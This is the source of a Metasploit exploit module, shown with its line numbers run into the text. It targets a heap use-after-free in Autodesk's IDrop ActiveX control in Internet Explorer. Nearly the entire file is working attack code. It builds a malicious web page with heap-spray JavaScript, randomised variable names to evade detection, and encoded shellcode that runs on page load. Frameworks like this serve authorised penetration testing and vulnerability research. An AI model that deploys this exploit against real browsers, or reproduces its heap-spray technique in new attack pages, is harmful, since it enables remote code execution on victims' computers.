Path: blob/master/modules/exploits/windows/browser/autodesk_idrop.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Autodesk IDrop ActiveX Control Heap Memory Corruption',15'Description' => %q{16This module exploits a heap-based memory corruption vulnerability in17Autodesk IDrop ActiveX control (IDrop.ocx) version 17.1.51.160.18An attacker can execute arbitrary code by triggering a heap use after19free condition using the Src, Background, PackageXml properties.20},21'License' => MSF_LICENSE,22'Author' => [23'Elazar Broad <elazarb[at]earthlink.net>', # Original exploit [see References]24'Trancer <mtrancer[at]gmail.com>' # Metasploit implementation25],26'References' => [27[ 'OSVDB', '53265' ],28[ 'BID', '34352' ],29[ 'EDB', '8560' ],30[ 'URL', 'http://marc.info/?l=full-disclosure&m=123870112214736' ],31],32'DefaultOptions' => {33'EXITFUNC' => 'process',34},35'Payload' => {36'Space' => 1024,37'BadChars' => "\x00\x09\x0a\x0d'\\",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42[ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { 'Offset' => 900, 'Ret' => 0x0C0C0C0C } ]43],44'DisclosureDate' => '2009-04-02',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)53end5455def autofilter56false57end5859def check_dependencies60use_zlib61end6263def on_request_uri(cli, request)64# Re-generate the payload65return if ((p = regenerate_payload(cli)) == nil)6667# Encode the shellcode68shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6970# Setup exploit buffers71nops = Rex::Text.to_unescape([target.ret].pack('V'))72blocksize = 0x4000073fillto = 55074offset = target['Offset']7576# Randomize the javascript variable names77idrop = rand_text_alpha(rand(100) + 1)78j_function = rand_text_alpha(rand(100) + 1)79j_shellcode = rand_text_alpha(rand(100) + 1)80j_nops = rand_text_alpha(rand(100) + 1)81j_headersize = rand_text_alpha(rand(100) + 1)82j_slackspace = rand_text_alpha(rand(100) + 1)83j_fillblock = rand_text_alpha(rand(100) + 1)84j_block = rand_text_alpha(rand(100) + 1)85j_memory = rand_text_alpha(rand(100) + 1)86j_counter = rand_text_alpha(rand(30) + 2)87j_ret = rand_text_alpha(rand(100) + 1)88j_mem = rand_text_alpha(rand(100) + 1)8990# Build out the message91content = %Q|92<html>93<head>94<script language='javascript' defer>95function #{j_function}() {96#{j_shellcode}=unescape('#{shellcode}');97#{j_nops}=unescape('#{nops}');98#{j_headersize}=20;99#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;100while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};101#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});102#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});103while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};104#{j_memory}=new Array();105for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};106107var #{j_ret} = '';108for (#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++) {109#{j_ret} += unescape('%u0a0a');110}111for(#{j_counter}=0;#{j_counter}<20;#{j_counter}++) {112try {113var #{j_mem} = #{idrop}.Src;114#{idrop}.Src = 'http://' + #{j_ret};115#{idrop}.Src = #{j_mem};116#{idrop}.Src = 'http://' + #{j_ret};117} catch(e){}118119}120}121</script>122</head>123<body onload='return #{j_function}();'>124<object classid='clsid:21E0CB95-1198-4945-A3D2-4BF804295F78' id='#{idrop}'></object>125</body>126</html>127|128129print_status("Sending #{self.name}")130131# Transmit the response to the client132send_response_html(cli, content)133134# Handle the payload135handler(cli)136end137end138139140